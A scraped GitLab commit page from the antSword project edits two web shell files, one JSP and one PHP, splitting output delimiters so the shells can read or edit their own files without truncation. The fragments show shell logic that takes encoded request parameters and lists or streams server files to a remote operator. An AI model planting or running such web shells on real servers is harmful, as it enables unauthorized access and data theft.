Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
3d930500
Commit
3d930500
authored
Apr 28, 2016
by
Medici.Yan
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
fix(custom):custom shell edit self bug (#46)
修正custom shell 读取自身时数据被截断的 bug #45
parent
97e29a30
Changes
2
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
8 additions
and
7 deletions
+8
-7
jsp_custom_spy_for_mysql.jsp
shells/jsp_custom_spy_for_mysql.jsp
+6
-5
php_custom_spy_for_mysql.php
shells/php_custom_spy_for_mysql.php
+2
-2
No files found.
shells/jsp_custom_spy_for_mysql.jsp
View file @
3d930500
...
...
@@ -20,7 +20,8 @@
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
ChangeLog:
Data: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1
1. 修正下载文件参数设置错误
2. 修正一些注释的细节
...
...
@@ -169,11 +170,11 @@ ChangeLog:
r
.
reset
();
ServletOutputStream
os
=
r
.
getOutputStream
();
BufferedInputStream
is
=
new
BufferedInputStream
(
new
FileInputStream
(
filePath
));
os
.
write
((
"
-
>
|
").getBytes(), 0, 3);
os
.
write
((
"
-
>
"+"
|
").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("
|<-
").getBytes(), 0, 3);
os.write(("
|
"+"
<-
").getBytes(), 0, 3);
os.close();
is.close();
}
...
...
@@ -336,7 +337,7 @@ ChangeLog:
String
z2
=
decode
(
EC
(
request
.
getParameter
(
"z2"
)
+
""
),
encoder
);
String
z3
=
decode
(
EC
(
request
.
getParameter
(
"z3"
)
+
""
),
encoder
);
String
[]
pars
=
{
z0
,
z1
,
z2
,
z3
};
sb
.
append
(
"
-
>
|
");
sb
.
append
(
"
-
>
" + "
|
");
if (funccode.equals("
B
")) {
sb.append(FileTreeCode(pars[1]));
...
...
@@ -376,6 +377,6 @@ ChangeLog:
} catch (Exception e) {
sb.append("
ERROR
" + "
:
//" + e.toString());
}
sb
.
append
(
"|<-"
);
sb
.
append
(
"|
"
+
"
<-"
);
out
.
print
(
sb
.
toString
());
%>
shells/php_custom_spy_for_mysql.php
View file @
3d930500
...
...
@@ -339,7 +339,7 @@ $z2 = decode(EC($_REQUEST['z2']));
$z3
=
decode
(
EC
(
$_REQUEST
[
'z3'
]));
// echo "<meta HTTP-EQUIV=\"csontent-type\" content=\"text/html; charset={$cs}\">";
echo
"->|"
;
echo
"->
"
.
"
|"
;
$ret
=
""
;
try
{
switch
(
$funccode
)
{
...
...
@@ -402,5 +402,5 @@ try {
$ret
=
"ERROR://"
.
$e
;
}
echo
$ret
;
echo
"|<-"
;
echo
"|
"
.
"
<-"
;
?>
\ No newline at end of file
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment